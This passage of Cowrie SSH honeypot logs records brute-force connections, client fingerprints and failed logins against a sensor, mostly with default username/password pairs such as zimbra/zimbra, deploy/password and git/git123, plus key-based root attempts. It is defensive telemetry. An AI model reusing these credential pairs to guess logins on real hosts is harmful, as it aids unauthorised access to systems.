f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:29.387599Z","src_ip":"103.118.29.129","session":"6c49e01e40a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc!@","message":"login attempt [root/ABCabc!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:30.372474Z","src_ip":"103.118.29.129","session":"6c49e01e40a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:31.618187Z","src_ip":"103.118.29.129","session":"6c49e01e40a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48950,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cda5f34432c","protocol":"ssh","message":"New connection: 83.168.110.85:48950 (159.203.135.109:22) [session: 5cda5f34432c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:35.666333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:35.671319Z","src_ip":"83.168.110.85","session":"5cda5f34432c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:35.796095Z","src_ip":"83.168.110.85","session":"5cda5f34432c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:36.163948Z","src_ip":"83.168.110.85","session":"5cda5f34432c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:37.327404Z","src_ip":"83.168.110.85","session":"5cda5f34432c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43466,"dst_ip":"159.203.135.109","dst_port":22,"session":"0447a87db492","protocol":"ssh","message":"New connection: 83.168.110.85:43466 (159.203.135.109:22) [session: 0447a87db492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:46.056375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:46.061513Z","src_ip":"83.168.110.85","session":"0447a87db492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:46.184426Z","src_ip":"83.168.110.85","session":"0447a87db492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:46.547629Z","src_ip":"83.168.110.85","session":"0447a87db492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:47.671142Z","src_ip":"83.168.110.85","session":"0447a87db492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36576,"dst_ip":"159.203.135.109","dst_port":22,"session":"978cba3f5334","protocol":"ssh","message":"New connection: 83.168.110.85:36576 (159.203.135.109:22) [session: 978cba3f5334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:56.420261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:56.425412Z","src_ip":"83.168.110.85","session":"978cba3f5334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:56.547038Z","src_ip":"83.168.110.85","session":"978cba3f5334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:56.913680Z","src_ip":"83.168.110.85","session":"978cba3f5334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:23:58.039149Z","src_ip":"83.168.110.85","session":"978cba3f5334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60270,"dst_ip":"159.203.135.109","dst_port":22,"session":"48f6722fd572","protocol":"ssh","message":"New connection: 83.168.110.85:60270 (159.203.135.109:22) [session: 48f6722fd572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:07.040666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:07.044882Z","src_ip":"83.168.110.85","session":"48f6722fd572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:07.165157Z","src_ip":"83.168.110.85","session":"48f6722fd572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:07.820354Z","src_ip":"83.168.110.85","session":"48f6722fd572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:08.943576Z","src_ip":"83.168.110.85","session":"48f6722fd572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43592,"dst_ip":"159.203.135.109","dst_port":22,"session":"db0208593607","protocol":"ssh","message":"New connection: 83.168.110.85:43592 (159.203.135.109:22) [session: db0208593607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:17.592322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:17.649730Z","src_ip":"83.168.110.85","session":"db0208593607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:17.855271Z","src_ip":"83.168.110.85","session":"db0208593607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:18.291383Z","src_ip":"83.168.110.85","session":"db0208593607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:19.415864Z","src_ip":"83.168.110.85","session":"db0208593607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41200,"dst_ip":"159.203.135.109","dst_port":22,"session":"978090111f0a","protocol":"ssh","message":"New connection: 83.168.110.85:41200 (159.203.135.109:22) [session: 978090111f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:28.661192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:28.684435Z","src_ip":"83.168.110.85","session":"978090111f0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:28.783529Z","src_ip":"83.168.110.85","session":"978090111f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:29.257133Z","src_ip":"83.168.110.85","session":"978090111f0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.16","src_port":28180,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdfe7891eeb3","protocol":"ssh","message":"New connection: 89.37.117.16:28180 (10.17.0.5:22) [session: fdfe7891eeb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:29.528830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:29.533485Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:29.667180Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:dd:83:df:39:51:12:bf:27:f7:0e:e1:18:d9:18:63","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG9mcmu5lSJl6Zi5FyLLytVlRMVNlo5/QeypcSWq/5EY","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5d:dd:83:df:39:51:12:bf:27:f7:0e:e1:18:d9:18:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.307029Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:dd:83:df:39:51:12:bf:27:f7:0e:e1:18:d9:18:63","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG9mcmu5lSJl6Zi5FyLLytVlRMVNlo5/QeypcSWq/5EY","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.311299Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:a1:00:0a:3e:45:6c:30:2e:af:f5:50:61:23:6d:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3nSXYpWz+Pw4thji5i9OhMByu0LvH7a9FA/C8WhqL3bv93tJObpEPYHLwlXctXu0hfFtKxi4bx8Koaewv96EaEyj/QkcP1pEh4k3md+xRmI2H5orJwno7aiTFZEJUE2fcmhXATioAHh4m/nDZlKX1bYq71c/dSN4g7seVvkyaWS6nXy8092pbl+oFM/R/qVf2A4YaXvu0eAZ1cMoDQ1Og7fnH/7pv6HuwWJPN2cb31TpCKG401pLukN5EIEoQYwxQF6q/ydzzhbMrTWVMjOg1w74OheaQI63OXfEva0rOF9QNXJtzzjQ8iFlM4S5VN51aqy+EyC+AR4l6OgIhOdBEsdINeNSnZIy0mAdbaAT7SC2pLY/NSNr3FVR6UhlosSRukOePW4TKIPa5dmaWt6JrIrK9b5zWC3e1nDLqP3xO+48BUxbI2EIa7KzlJHh2EkXV92Z1oURUYwM5zM9cFeB5kK4lwg90Tuhtvjy85KMf8NdfGtwuXGd63bBAmsiwcQSrmkIwzLsEprjYel4Rx1hegrTOegiRSZ+CFxDcgQiAtzg6XHlFvFuPZCnaIr4LPqCuJusYKBSc+itrbxabWc7IJt9XC+VLXW4JwkBg5+MRpLdYlcKNwVzNhWpFaOy7BC4/IqELMuNRJBDd0CnWdguStUiQQMy5ZGCB+2xYXP0I7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:a1:00:0a:3e:45:6c:30:2e:af:f5:50:61:23:6d:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:30.444286Z","src_ip":"89.37.117.16","session":"fdfe7891eeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:a1:00:0a:3e:45:6c:30:2e:af:f5:50:61:23:6d:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3nSXYpWz+Pw4thji5i9OhMByu0LvH7a9FA/C8WhqL3bv93tJObpEPYHLwlXctXu0hfFtKxi4bx8Koaewv96EaEyj/QkcP1pEh4k3md+xRmI2H5orJwno7aiTFZEJUE2fcmhXATioAHh4m/nDZlKX1bYq71c/dSN4g7seVvkyaWS6nXy8092pbl+oFM/R/qVf2A4YaXvu0eAZ1cMoDQ1Og7fnH/7pv6HuwWJPN2cb31TpCKG401pLukN5EIEoQYwxQF6q/ydzzhbMrTWVMjOg1w74OheaQI63OXfEva0rOF9QNXJtzzjQ8iFlM4S5VN51aqy+EyC+AR4l6OgIhOdBEsdINeNSnZIy0mAdbaAT7SC2pLY/NSNr3FVR6UhlosSRukOePW4TKIPa5dmaWt6JrIrK9b5zWC3e1nDLqP3xO+48BUxbI2EIa7KzlJHh2EkXV92Z1oURUYwM5zM9cFeB5kK4lwg90Tuhtvjy85KMf8NdfGtwuXGd63bBAmsiwcQSrmkIwzLsEprjYel4Rx1hegrTOegiRSZ+CFxDcgQiAtzg6XHlFvFuPZCnaIr4LPqCuJusYKBSc+itrbxabWc7IJt9XC+VLXW4JwkBg5+MRpLdYlcKNwVzNhWpFaOy7BC4/IqELMuNRJBDd0CnWdguStUiQQMy5ZGCB+2xYXP0I7w==","type":"ssh-rsa","message":"public key login attempt for [root] 